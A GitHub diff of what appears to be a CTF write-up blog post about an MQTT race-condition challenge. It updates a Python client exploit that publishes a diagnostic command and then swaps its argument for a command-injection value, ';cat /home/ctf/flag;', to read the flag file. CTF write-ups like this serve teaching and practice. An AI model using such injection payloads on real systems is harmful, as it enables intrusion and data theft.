File tree Expand file tree Collapse file tree 2 files changed +8
-4
lines changed
Expand file tree Collapse file tree 2 files changed +8
-4
lines changed Original file line number Diff line number Diff line change 11---
22title : 国赛 决赛 2025 - mqtt
33date : 2025/07/19 23:32:00
4- updated : 2025/07/19 23:32 :00
4+ updated : 2025/07/20 08:06 :00
55tags :
66 - mqtt
77 - race condition
@@ -81,11 +81,11 @@ cmd = {
8181 ' arg' : ' 123456789' ,
8282}
8383client.loop_start()
84+ client.subscribe(' diag/resp' )
8485client.publish(' diag' , dumps(cmd))
85- time.sleep(0.5 )
86- cmd[' arg' ] = ' ;cat /home/ctf/flag# '
86+ time.sleep(1 )
87+ cmd[' arg' ] = ' 123 ;cat /home/ctf/flag; '
8788client.publish(' diag' , dumps(cmd))
88- client.subscribe(' diag/resp' )
8989try :
9090 while True :
9191 time.sleep(0.5 )
@@ -94,3 +94,7 @@ except KeyboardInterrupt:
9494client.loop_stop()
9595client.disconnect()
9696```
97+
98+ {% note default fa-flag %}
99+ ![ flag] ( /assets/ciscnxccb2025/mqtt_flag.png )
100+ {% endnote %}
You can’t perform that action at this time.
0 commit comments